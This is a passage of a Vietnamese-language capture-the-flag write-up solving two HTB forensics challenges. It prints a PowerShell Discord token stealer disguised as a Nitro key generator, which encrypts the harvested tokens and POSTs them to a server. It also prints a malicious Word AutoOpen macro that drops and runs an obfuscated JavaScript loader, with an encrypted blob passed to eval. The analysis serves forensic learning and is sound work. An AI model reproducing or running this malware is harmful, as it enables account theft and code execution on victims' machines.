            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

                                                                                                         "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

Part 1 ngay trong code, decode base64 ra:

HTB{fr33_N17r0G3n_3xp053d!_

Code này tiến hành AES encrypt payload lại rồi POST lên server, ta đã có key rồi, truncate encrypted payload ra là có IV, decrypt ra thôi:

image

Decode base64 email ra, ta có part 2:

b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Game Invitation

credit: Nex0

Đề cấp cho ta 1 file docm. Check macro luôn thôi nhỉ? Mình dùng olevba.

Full macro script embed trong file:

Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub

Code obfuscate bằng tên biến, đọc cũng khá xuôi :v. Đại khái là nó search pattern sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa trong binary của document đang hoạt động (chính là con docm này). Khi tìm thấy pattern rồi sẽ skip pattern, lấy 13082 data đằng sau modify đi thành code js và chạy.

Mình find index của pattern đó trong binary bằng HxD, sau đó viết 1 script để lấy phần code js ra:

with open("forensics_game_invitation\invitation.docm", "rb") as f:
    data = f.read()

index = 0x1FCB9
js = data[index : index + 13082]
xorkey = 45
newd = [0 for i in range(13082)]

for i in range(len(js)):
    newd.append(js[i] ^ xorkey)
    xorkey = (xorkey ^ 99) ^ (i % 254)

for i in newd:
    print(chr(i), end = "")

Output dính vào nhau khá đau mắt 💀, mình ném lên https://lelinhtinh.github.io/de4js/ để nó format lại cho dễ nhìn:

image

Full Script Js:

var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);

function af5Q(r) {
    var a = r.charCodeAt(0);
    if (a === 43 || a === 45) return 62;
    if (a === 47 || a === 95) return 63;
    if (a < 48) return -1;
    if (a < 48 + 10) return a - 48 + 26 + 26;
    if (a < 65 + 26) return a - 65;
    if (a < 97 + 26) return a - 97 + 26
}

function JrvS(r) {
    var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var t;
    var l;
    var h;
    if (r.length % 4 > 0) return;
    var u = r.length;
    var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
    var n = new Array(r.length * 3 / 4 - g);
    var i = g > 0 ? r.length - 4 : r.length;
    var z = 0;

    function b(r) {
        n[z++] = r
    }
    for (t = 0, l = 0; t < i; t += 4, l += 3) {
        h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
        b((h & 16711680) >> 16);
        b((h & 65280) >> 8);
        b(h & 255)
    }
    if (g === 2) {
        h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
        b(h & 255)
    } else if (g === 1) {
        h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
        b(h >> 8 & 255);
        b(h & 255)
    }
    return n
}

function xR68(r, a) {
    var t = [];
    var l = 0;
    var h;
    var u = "";
    for (var g = 0; g < 256; g++) {
        t[g] = g
    }
    for (var g = 0; g < 256; g++) {
        l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h
    }
    var g = 0;
    var l = 0;
    for (var n = 0; n < a.length; n++) {
        g = (g + 1) % 256;
        l = (l + t[g]) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h;
        u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
    }
    return u
}

function lyEK() {
    var r = "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